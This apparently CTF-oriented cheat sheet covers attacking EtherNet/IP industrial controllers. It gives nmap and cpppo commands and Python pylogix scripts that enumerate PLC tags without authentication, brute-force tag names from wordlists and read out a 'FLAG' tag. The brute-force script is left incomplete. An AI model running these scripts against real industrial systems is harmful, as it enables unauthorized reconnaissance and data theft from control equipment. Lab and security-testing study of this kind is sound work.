EtherNet/IP
EtherNet/IP is an industrial network protocol that implements the Common Industrial Protocol (CIP) over standard Ethernet.
Technical detail
EtherNet/IP classifies Ethernet nodes into predefined device types with specific behaviors. Among other things, this enables:
Transfer of basic
I/Odata viaUDP.Uploading and downloading of parameters, setpoints, programs and recipes via
TCPPolled, cyclic and change-of-state monitoring via
UDP.EtherNet/IPmakes use ofTCPport number44818for explicit messaging andUDPport number2222for implicit messaging.Data is stored in
Tags(variables) rather than memory addresses.
Identification
nmap -p 44818 --script enip-info <TARGET_IP>What to look for: Vendor ID, Device Type (PLC is usually 0x0E), Product Name, and Revision
Useful command for debugging
python -m cpppo.server.enip.client -vvv -a <IP:PORT> "<TAG_NAME>"Discovery
Find the tags. Some PLCs allow unauthenticated listing of all tags
from pylogix import PLC
import struct
comm = PLC()
comm.IPAddress = "94.237.122.188"
comm.Port = 58734
original_bytes = comm.conn._get_bytes
def safe_get_bytes(eip_header, connected):
try:
return original_bytes(eip_header, connected)
except struct.error:
return (0x01, b'\x00' * 50)
comm.conn._get_bytes = safe_get_bytes
print("[*] Attempting to enumerate all tags (GetTagList)...")
try:
tags = comm.GetTagList()
if tags.Status == "Success":
print(f"[+] Success! Found {len(tags.Value)} tags.")
for tag in tags.Value:
print(f" - {tag.TagName} ({tag.DataType})")
else:
print(f"[-] Enumeration Failed.")
print(f" Server Status: {tags.Status}")
print(" Reason: The PLC rejected the 'List Tags' request.")
print(" Note: Tag listing is disabled on this device.")
except Exception as e:
print(f"[-] Unexpected Error: {e}")You can also bruteforce the Tags
from pylogix import PLC
import sys
# Configuration
target_ip = "94.237.122.188"
target_port = 58734
wordlist_file = "wordlist.txt"
def try_tag(tag_name):
comm = PLC()
comm.IPAddress = target_ip
comm.Port = target_port
# Read just 1 element first to see if the tag exists
response = comm.Read(tag_name, count=1)
if response.Status == "Success":
print(f"\n[+] FOUND TAG: {tag_name}")
print(f" Value: {response.Value}")
return True
elif response.Status == "Object does not exist":
# Tag name is wrong/doesn't exist
return False
else:
# Some other error (e.g. permission denied), but tag exists
print(f"[!] Tag Exists but Error: {tag_name} ({response.Status})")
return True
print(f"[*] Starting Brute Force on {target_ip}...")Put attention on the value of the data to know if it is a string or a number
SecLists Wordlists
For generic tags: common.txt
For Passwords/Admin tags: 10k-most-common.txt
For Brute Forcing: raft-medium-directories.txt
Data Extraction & Decoding
PLCs often store strings as Arrays of Integers (ASCII codes)
Exfiltration Script
from pylogix import PLC
def read_and_decode(ip, port, tag_name, count=1):
comm = PLC()
comm.IPAddress = ip
comm.Port = port
print(f"[*] Reading tag: {tag_name}")
response = comm.Read(tag_name, count)
if response.Status != "Success":
print(f"[-] Error: {response.Status}")
return
data = response.Value
print(f"[*] Raw Data: {data}")
# Method 1: Standard String
if isinstance(data, str):
print(f"[+] Decoded String: {data}")
# Method 2: List of Integers (ASCII Array)
elif isinstance(data, list) and all(isinstance(i, int) for i in data):
try:
clean_data = [i for i in data if i != 0]
decoded_string = "".join([chr(i) for i in clean_data])
print(f"[+] Decoded ASCII Array: {decoded_string}")
except ValueError:
print("[!] Data looks like integers but not valid ASCII.")
# Method 3: Raw Integer
elif isinstance(data, int):
print(f"[+] Integer Value: {data}")
if 0 < data < 127:
print(f"[+] As Char: {chr(data)}")
# --- Configuration ---
target_ip = "94.237.122.188"
target_port = 58734
target_tag = "FLAG"
elements_to_read = 50
# --- Execution ---
read_and_decode(target_ip, target_port, target_tag, elements_to_read)Make sure to change the configuration options to your use case
Note that you will need a bigger number for
elements_to_readvariable in case of dealing with logs or more extensive information
Last updated
